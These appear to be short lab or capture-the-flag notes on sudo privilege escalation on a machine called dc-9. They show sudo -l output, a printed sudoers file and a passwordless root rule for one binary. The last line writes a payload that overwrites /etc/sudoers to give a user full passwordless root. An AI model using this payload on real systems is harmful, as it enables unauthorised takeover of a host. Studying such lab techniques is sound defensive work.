If no command is specified, the -l (list) option will list the allowed (and forbidden) commands for the invoking user (or the user specified by the -U option) on the current host
sudo -l
Matching Defaults entries for fredf on dc-9:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
sudo --list
reads configuration file and shows the matching user's allowed commands
root@dc-9:~# cat /etc/sudoers
#
# This file MUST be edited with the 'visudo' command as root.
#
# Please consider adding local content in /etc/sudoers.d/ instead of
# directly modifying this file.
#
# See the man page for details on how to write a sudoers file.
#
Defaults env_reset
Defaults mail_badpass
Defaults secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
# Host alias specification
# User alias specification
# Cmnd alias specification
# User privilege specification
root ALL=(ALL:ALL) ALL
# Allow members of group sudo to execute any command
%sudo ALL=(ALL:ALL) ALL
# See sudoers(5) for more information on "#include" directives:
#includedir /etc/sudoers.d
fredf ALL=(root) NOPASSWD: /opt/devstuff/dist/test/test
When executing the file with executable permission must be specified as absolute path as so in /etc/sudoers
sudo /opt/devstuff/dist/test/test # this works
cd opt/devstuff/dist/test && sudo ./test # does not work because it is relative path
absolute path and relative path are important!
echo 'echo "fluffy ALL=(root) NOPASSWD: ALL" > /etc/sudoers' >> that.sh